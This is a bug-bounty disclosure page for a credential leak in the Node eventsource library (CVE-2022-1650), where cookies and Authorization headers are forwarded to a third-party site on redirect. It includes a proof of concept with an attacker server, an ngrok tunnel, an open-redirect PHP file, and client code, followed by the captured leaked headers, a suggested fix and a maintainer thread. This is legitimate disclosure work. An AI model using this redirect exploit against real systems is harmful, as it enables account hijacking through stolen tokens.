Exposure of Sensitive Information to an Unauthorized Actor in eventsource/eventsource

1

Valid Reported on Feb 6th 2022

Exposure of Sensitive Information to an Unauthorized Actor in EventSource/eventsource

Reported on Feb 6th 2022 | Timothee Desurmont
Vulnerability type: CWE-200

Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized".

Proof of Concept

Start a nodejs server (attacker):

```
const express = require('express')
const app = express()

app.get('/', function (req, res) {
    console.log(req.headers);
    res.status(200).send()
})

app.listen(3000)

console.log('listening on port 3000');
```

```
console.log( "listening on port 3000" );
```

lunch ngrok (attacker):

```
ngrok http 3000

Session Status                online
Account                       Timothee Desurmont (Plan: Free)
Update                        update available (version 2.3.40, Ctrl-U to u
Version                       2.3.35
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://cb45-92-98-215-185.ngrok.io -> http://
Forwarding                    https://cb45-92-98-215-185.ngrok.io -> http:/

Connections                   ttl     opn     rt1     rt5     p50     p90
                              1       0       0.00    0.00    8.92    8.92

HTTP Requests
-------------

GET /                         200 OK
```

Add a redirect.php file in `\var\www\html` (mysite)

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

Run below code (mysite)

```
const EventSource = require("eventsource")

const mysite = "http://192.168.2.31";
const attacker = "http://cb45-92-98-215-185.ngrok.io";

const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
```

```
            ,'Cookie': 'ajs_anonymous_id=1234567890"',
            "Authorization": "Bearer eyJhb12345abcdef"
        }

    };

    var es = new EventSource(`${mysite}//redirect.php?url=${attacker}/`, op

    es.onerror = function (err) {
        if (err) {
        if (err.status === 401 || err.status === 403) {
            console.log('not authorized');
        }
        }
    };
```

Responce recived by the attacker

```
[nodemon] starting `node server.js`
listening on port 3000
{
    host: 'cb45-92-98-215-185.ngrok.io',
    accept: 'text/event-stream',
    authorization: 'Bearer eyJhb12345abcdef',
    'cache-control': 'no-cache',
    'content-type': 'application/json',
    cookie: 'ajs_anonymous_id=1234567890"',
    'x-forwarded-for': '92.98.215.185',
    'x-forwarded-proto': 'http',
    'accept-encoding': 'gzip'
}
```

Consequence

Access Control: Hijack of victims account.
The attacker can steal the user's credentials and then use these credentials to access the legitimate web site.

Suggested fix

If the redirected url is different from the url domain, the Authentication & Cookies should be removed from the header.

Occurrences

JS eventsource.js L32-L311

CVE
CVE-2022-1650
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8.1)

Visibility
Public

Status
Fixed

Found by

Timothee Desurmont
@sampaguitas
legend

Fixed by

Espen Hovlandsdal
@rexxars
maintainer

This report was seen 3,233 times.

We are processing your report and will contact the **eventsource** team within 24 hours.
10 months ago

Timothee Desurmont modified the report 10 months ago

Timothee Desurmont modified the report 10 months ago

We created a GitHub Issue asking the maintainers to create a `SECURITY.md` 10 months ago

Timothee 7 months ago Researcher

Hi @Admin, any update on above report?

Jamie Slome 7 months ago Admin

I've dropped a comment on the GitHub Issue here. Fingers crossed we get a response soon! 🤞

Espen Hovlandsdal validated this vulnerability 7 months ago

Thanks for reporting - I have a pull request with a fix awaiting review from the other maintainers: https://github.com/EventSource/eventsource/pull/271

Timothee Desurmont has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Timothee 7 months ago Researcher

Hi Epson, thanks for validating the report. I am glad to hear that you already have a fix. If needed I can also submit a PR to patch the code (just let me know by dropping a message below) 😊

Timothee Desurmont submitted a patch 7 months ago

Timothee 7 months ago Researcher

submitted the patch just in case...

Espen Hovlandsdal marked this as fixed in v2.0.2 with commit 10ee0c 6 m

Chat with us

Espen Hovlandsdal has been awarded the fix bounty ✔

Espen Hovlandsdal has been awarded the fix bounty

This vulnerability will not receive a CVE ✖

eventsource.js#L32-L311 has been validated ✔

Matan 6 months ago

I think that this one is also fixed in version 1.1.1 based on this commit.
Am I mistaken here?
Thanks!

Espen 6 months ago Maintainer

You are correct, yes.

Sign in to join this conversation

privacy policy